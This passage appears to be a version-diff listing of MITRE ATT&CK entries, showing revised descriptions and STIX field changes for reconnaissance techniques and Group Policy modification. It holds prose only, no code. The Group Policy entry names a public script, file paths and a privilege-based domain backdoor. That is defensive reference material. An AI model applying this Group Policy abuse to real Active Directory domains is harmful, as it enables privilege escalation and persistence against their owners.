| > | ques/T1593)), establishing operational resources (ex: [Acqui | > | rational resources (ex: [Acquire Infrastructure](https://att | ||
| > | re Infrastructure](https://attack.mitre.org/techniques/T1583 | > | ack.mitre.org/techniques/T1583) or [Compromise Infrastructur | ||
| > | ) or [Compromise Infrastructure](https://attack.mitre.org/te | > | e](https://attack.mitre.org/techniques/T1584)), and/or initi | ||
| > | chniques/T1584)), and/or initial access (ex: [Trusted Relati | > | al access (ex: [Trusted Relationship](https://attack.mitre.o | ||
| > | onship](https://attack.mitre.org/techniques/T1199)). | > | rg/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 22:58:23.086000+00:00 | 2021-04-15 03:34:23.229000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's organi |
| > | tion about the victim's organization that can be used during | > | zation that can be used during targeting. Information about | ||
| > | targeting. Information about an organization may include a | > | an organization may include a variety of details, including | ||
| > | variety of details, including the names of divisions/departm | > | the names of divisions/departments, specifics of business op | ||
| > | ents, specifics of business operations, as well as the roles | > | erations, as well as the roles and responsibilities of key e | ||
| > | and responsibilities of key employees. Adversaries may gat | > | mployees. Adversaries may gather this information in variou | ||
| > | her this information in various ways, such as direct elicita | > | s ways, such as direct elicitation via [Phishing for Informa | ||
| > | tion via [Phishing for Information](https://attack.mitre.org | > | tion](https://attack.mitre.org/techniques/T1598). Informatio | ||
| > | /techniques/T1598). Information about an organization may al | > | n about an organization may also be exposed to adversaries v | ||
| > | so be exposed to adversaries via online or other accessible | > | ia online or other accessible data sets (ex: [Social Media]( | ||
| > | data sets (ex: [Social Media](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1593/001) or [Search Vi | ||
| > | iques/T1593/001) or [Search Victim-Owned Websites](https://a | > | ctim-Owned Websites](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1594)).(Citation: ThreatPost Bro | > | 94)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Bu | ||
| > | advoice Leak)(Citation: DOB Business Lookup) Gathering this | > | siness Lookup) Gathering this information may reveal opportu | ||
| > | information may reveal opportunities for other forms of reco | > | nities for other forms of reconnaissance (ex: [Phishing for | ||
| > | nnaissance (ex: [Phishing for Information](https://attack.mi | > | Information](https://attack.mitre.org/techniques/T1598) or [ | ||
| > | tre.org/techniques/T1598) or [Search Open Websites/Domains]( | > | Search Open Websites/Domains](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1593)), establishing op | > | iques/T1593)), establishing operational resources (ex: [Esta | ||
| > | erational resources (ex: [Establish Accounts](https://attack | > | blish Accounts](https://attack.mitre.org/techniques/T1585) o | ||
| > | .mitre.org/techniques/T1585) or [Compromise Accounts](https: | > | r [Compromise Accounts](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1586)), and/or initial access | > | T1586)), and/or initial access (ex: [Phishing](https://attac | ||
| > | (ex: [Phishing](https://attack.mitre.org/techniques/T1566) | > | k.mitre.org/techniques/T1566) or [Trusted Relationship](http | ||
| > | or [Trusted Relationship](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1199)). | ||
| > | s/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:36.479000+00:00 | 2021-04-15 03:39:09.021000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify Group Policy Objects (GPOs) to subver | t | 1 | Adversaries may modify Group Policy Objects (GPOs) to subver |
| > | t the intended discretionary access controls for a domain, u | > | t the intended discretionary access controls for a domain, u | ||
| > | sually with the intention of escalating privileges on the do | > | sually with the intention of escalating privileges on the do | ||
| > | main. Group policy allows for centralized management of user | > | main. Group policy allows for centralized management of user | ||
| > | and computer settings in Active Directory (AD). GPOs are co | > | and computer settings in Active Directory (AD). GPOs are co | ||
| > | ntainers for group policy settings made up of files stored w | > | ntainers for group policy settings made up of files stored w | ||
| > | ithin a predicable network path <code>\\<DOMAIN>\SYSVO | > | ithin a predicable network path <code>\\<DOMAIN>\SYSVO | ||
| > | L\<DOMAIN>\Policies\</code>.(Citation: TechNet Group P | > | L\<DOMAIN>\Policies\</code>.(Citation: TechNet Group P | ||
| > | olicy Basics)(Citation: ADSecurity GPO Persistence 2016) L | > | olicy Basics)(Citation: ADSecurity GPO Persistence 2016) L | ||
| > | ike other objects in AD, GPOs have access controls associate | > | ike other objects in AD, GPOs have access controls associate | ||
| > | d with them. By default all user accounts in the domain have | > | d with them. By default all user accounts in the domain have | ||
| > | permission to read GPOs. It is possible to delegate GPO acc | > | permission to read GPOs. It is possible to delegate GPO acc | ||
| > | ess control permissions, e.g. write access, to specific user | > | ess control permissions, e.g. write access, to specific user | ||
| > | s or groups in the domain. Malicious GPO modifications can | > | s or groups in the domain. Malicious GPO modifications can | ||
| > | be used to implement many other malicious behaviors such as | > | be used to implement many other malicious behaviors such as | ||
| > | [Scheduled Task/Job](https://attack.mitre.org/techniques/T10 | > | [Scheduled Task/Job](https://attack.mitre.org/techniques/T10 | ||
| > | 53), [Disable or Modify Tools](https://attack.mitre.org/tech | > | 53), [Disable or Modify Tools](https://attack.mitre.org/tech | ||
| > | niques/T1562/001), [Ingress Tool Transfer](https://attack.mi | > | niques/T1562/001), [Ingress Tool Transfer](https://attack.mi | ||
| > | tre.org/techniques/T1105), [Create Account](https://attack.m | > | tre.org/techniques/T1105), [Create Account](https://attack.m | ||
| > | itre.org/techniques/T1136), [Service Execution](https://atta | > | itre.org/techniques/T1136), [Service Execution](https://atta | ||
| > | ck.mitre.org/techniques/T1035), and more.(Citation: ADSecur | > | ck.mitre.org/techniques/T1569/002), and more.(Citation: ADS | ||
| > | ity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Cit | > | ecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs) | ||
| > | ation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M | > | (Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandia | ||
| > | Trends 2016)(Citation: Microsoft Hacking Team Breach) Since | > | nt M Trends 2016)(Citation: Microsoft Hacking Team Breach) S | ||
| > | GPOs can control so many user and machine settings in the A | > | ince GPOs can control so many user and machine settings in t | ||
| > | D environment, there are a great number of potential attacks | > | he AD environment, there are a great number of potential att | ||
| > | that can stem from this GPO abuse.(Citation: Wald0 Guide to | > | acks that can stem from this GPO abuse.(Citation: Wald0 Guid | ||
| > | GPOs) For example, publicly available scripts such as <cod | > | e to GPOs) For example, publicly available scripts such as | ||
| > | e>New-GPOImmediateTask</code> can be leveraged to automate t | > | <code>New-GPOImmediateTask</code> can be leveraged to automa | ||
| > | he creation of a malicious [Scheduled Task/Job](https://atta | > | te the creation of a malicious [Scheduled Task/Job](https:// | ||
| > | ck.mitre.org/techniques/T1053) by modifying GPO settings, in | > | attack.mitre.org/techniques/T1053) by modifying GPO settings | ||
| > | this case modifying <code><GPO_PATH>\Machine\Preferen | > | , in this case modifying <code><GPO_PATH>\Machine\Pref | ||
| > | ces\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald | > | erences\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: | ||
| > | 0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) | > | Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissio | ||
| > | In some cases an adversary might modify specific user rights | > | ns) In some cases an adversary might modify specific user ri | ||
| > | like SeEnableDelegationPrivilege, set in <code><GPO_PATH | > | ghts like SeEnableDelegationPrivilege, set in <code><GPO_ | ||
| > | >\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code> | > | PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</c | ||
| > | , to achieve a subtle AD backdoor with complete control of t | > | ode>, to achieve a subtle AD backdoor with complete control | ||
| > | he domain because the user account under the adversary's con | > | of the domain because the user account under the adversary's | ||
| > | trol would then be able to modify GPOs.(Citation: Harmj0y Se | > | control would then be able to modify GPOs.(Citation: Harmj0 | ||
| > | EnableDelegationPrivilege Right) | > | y SeEnableDelegationPrivilege Right) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-07 21:18:12.645000+00:00 | 2021-02-09 15:52:24.315000+00:00 |
| description | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)
For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right) | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)
For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right) |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Object Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Active Directory: Active Directory Object Deletion | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host h |
| > | tion about the victim's host hardware that can be used durin | > | ardware that can be used during targeting. Information about | ||
| > | g targeting. Information about hardware infrastructure may i | > | hardware infrastructure may include a variety of details su | ||
| > | nclude a variety of details such as types and versions on sp | > | ch as types and versions on specific hosts, as well as the p | ||
| > | ecific hosts, as well as the presence of additional componen | > | resence of additional components that might be indicative of | ||
| > | ts that might be indicative of added defensive protections ( | > | added defensive protections (ex: card/biometric readers, de | ||
| > | ex: card/biometric readers, dedicated encryption hardware, e | > | dicated encryption hardware, etc.). Adversaries may gather | ||
| > | tc.). Adversaries may gather this information in various wa | > | this information in various ways, such as direct collection | ||
| > | ys, such as direct collection actions via [Active Scanning]( | > | actions via [Active Scanning](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1595) (ex: hostnames, s | > | iques/T1595) (ex: hostnames, server banners, user agent stri | ||
| > | erver banners, user agent strings) or [Phishing for Informat | > | ngs) or [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598). Adversaries | > | techniques/T1598). Adversaries may also compromise sites the | ||
| > | may also compromise sites then include malicious content de | > | n include malicious content designed to collect host informa | ||
| > | signed to collect host information from visitors.(Citation: | > | tion from visitors.(Citation: ATT ScanBox) Information about | ||
| > | ATT ScanBox) Information about the hardware infrastructure m | > | the hardware infrastructure may also be exposed to adversar | ||
| > | ay also be exposed to adversaries via online or other access | > | ies via online or other accessible data sets (ex: job postin | ||
| > | ible data sets (ex: job postings, network maps, assessment r | > | gs, network maps, assessment reports, resumes, or purchase i | ||
| > | eports, resumes, or purchase invoices). Gathering this infor | > | nvoices). Gathering this information may reveal opportunitie | ||
| > | mation may reveal opportunities for other forms of reconnais | > | s for other forms of reconnaissance (ex: [Search Open Websit | ||
| > | sance (ex: [Search Open Websites/Domains](https://attack.mit | > | es/Domains](https://attack.mitre.org/techniques/T1593) or [S | ||
| > | re.org/techniques/T1593) or [Search Open Technical Databases | > | earch Open Technical Databases](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1596)), establishing | > | hniques/T1596)), establishing operational resources (ex: [De | ||
| > | operational resources (ex: [Develop Capabilities](https://at | > | velop Capabilities](https://attack.mitre.org/techniques/T158 | ||
| > | tack.mitre.org/techniques/T1587) or [Obtain Capabilities](ht | > | 7) or [Obtain Capabilities](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1588)), and/or initial ac | > | ues/T1588)), and/or initial access (ex: [Compromise Hardware | ||
| > | cess (ex: [Compromise Hardware Supply Chain](https://attack. | > | Supply Chain](https://attack.mitre.org/techniques/T1195/003 | ||
| > | mitre.org/techniques/T1195/003) or [Hardware Additions](http | > | ) or [Hardware Additions](https://attack.mitre.org/technique | ||
| > | s://attack.mitre.org/techniques/T1200)). | > | s/T1200)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:03.353000+00:00 | 2021-04-15 03:23:21.031000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Asset management', 'Data loss prevention'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:12:48.086000+00:00 | 2021-04-22 17:47:04.476000+00:00 |
| external_references[3]['url'] | http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx | https://www.youtube.com/watch?v=lDvf4ScWbcQ |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather the vic | t | 1 | Adversaries may gather the victim's IP addresses that can be |
| > | tim's IP addresses that can be used during targeting. Public | > | used during targeting. Public IP addresses may be allocated | ||
| > | IP addresses may be allocated to organizations by block, or | > | to organizations by block, or a range of sequential address | ||
| > | a range of sequential addresses. Information about assigned | > | es. Information about assigned IP addresses may include a va | ||
| > | IP addresses may include a variety of details, such as whic | > | riety of details, such as which IP addresses are in use. IP | ||
| > | h IP addresses are in use. IP addresses may also enable an a | > | addresses may also enable an adversary to derive other detai | ||
| > | dversary to derive other details about a victim, such as org | > | ls about a victim, such as organizational size, physical loc | ||
| > | anizational size, physical location(s), Internet service pro | > | ation(s), Internet service provider, and or where/how their | ||
| > | vider, and or where/how their publicly-facing infrastructure | > | publicly-facing infrastructure is hosted. Adversaries may g | ||
| > | is hosted. Adversaries may gather this information in vari | > | ather this information in various ways, such as direct colle | ||
| > | ous ways, such as direct collection actions via [Active Scan | > | ction actions via [Active Scanning](https://attack.mitre.org | ||
| > | ning](https://attack.mitre.org/techniques/T1595) or [Phishin | > | /techniques/T1595) or [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598). Information about assigned | ||
| > | ). Information about assigned IP addresses may also be expos | > | IP addresses may also be exposed to adversaries via online o | ||
| > | ed to adversaries via online or other accessible data sets ( | > | r other accessible data sets (ex: [Search Open Technical Dat | ||
| > | ex: [Search Open Technical Databases](https://attack.mitre.o | > | abases](https://attack.mitre.org/techniques/T1596)).(Citatio | ||
| > | rg/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpst | > | n: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DN | ||
| > | er)(Citation: Circl Passive DNS) Gathering this information | > | S) Gathering this information may reveal opportunities for o | ||
| > | may reveal opportunities for other forms of reconnaissance ( | > | ther forms of reconnaissance (ex: [Active Scanning](https:// | ||
| > | ex: [Active Scanning](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1595) or [Search Open Websites/ | ||
| > | 595) or [Search Open Websites/Domains](https://attack.mitre. | > | Domains](https://attack.mitre.org/techniques/T1593)), establ | ||
| > | org/techniques/T1593)), establishing operational resources ( | > | ishing operational resources (ex: [Acquire Infrastructure](h | ||
| > | ex: [Acquire Infrastructure](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | ||
| > | ques/T1583) or [Compromise Infrastructure](https://attack.mi | > | rastructure](https://attack.mitre.org/techniques/T1584)), an | ||
| > | tre.org/techniques/T1584)), and/or initial access (ex: [Exte | > | d/or initial access (ex: [External Remote Services](https:// | ||
| > | rnal Remote Services](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1133)). | ||
| > | 133)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:03:29.213000+00:00 | 2021-04-15 03:31:05.302000+00:00 |
| description | Before compromising a victim, adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's busine |
| > | tion about the victim's business tempo that can be used duri | > | ss tempo that can be used during targeting. Information abou | ||
| > | ng targeting. Information about an organization’s business t | > | t an organization’s business tempo may include a variety of | ||
| > | empo may include a variety of details, including operational | > | details, including operational hours/days of the week. This | ||
| > | hours/days of the week. This information may also reveal ti | > | information may also reveal times/dates of purchases and shi | ||
| > | mes/dates of purchases and shipments of the victim’s hardwar | > | pments of the victim’s hardware and software resources. Adv | ||
| > | e and software resources. Adversaries may gather this infor | > | ersaries may gather this information in various ways, such a | ||
| > | mation in various ways, such as direct elicitation via [Phis | > | s direct elicitation via [Phishing for Information](https:// | ||
| > | hing for Information](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1598). Information about busine | ||
| > | 598). Information about business tempo may also be exposed t | > | ss tempo may also be exposed to adversaries via online or ot | ||
| > | o adversaries via online or other accessible data sets (ex: | > | her accessible data sets (ex: [Social Media](https://attack. | ||
| > | [Social Media](https://attack.mitre.org/techniques/T1593/001 | > | mitre.org/techniques/T1593/001) or [Search Victim-Owned Webs | ||
| > | ) or [Search Victim-Owned Websites](https://attack.mitre.org | > | ites](https://attack.mitre.org/techniques/T1594)).(Citation: | ||
| > | /techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) G | > | ThreatPost Broadvoice Leak) Gathering this information may | ||
| > | athering this information may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Phishing for Information](htt | > | [Phishing for Information](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1598) or [Search Open Webs | > | es/T1598) or [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593)), e | > | itre.org/techniques/T1593)), establishing operational resour | ||
| > | stablishing operational resources (ex: [Establish Accounts]( | > | ces (ex: [Establish Accounts](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1585) or [Compromise Ac | > | iques/T1585) or [Compromise Accounts](https://attack.mitre.o | ||
| > | counts](https://attack.mitre.org/techniques/T1586)), and/or | > | rg/techniques/T1586)), and/or initial access (ex: [Supply Ch | ||
| > | initial access (ex: [Supply Chain Compromise](https://attack | > | ain Compromise](https://attack.mitre.org/techniques/T1195) o | ||
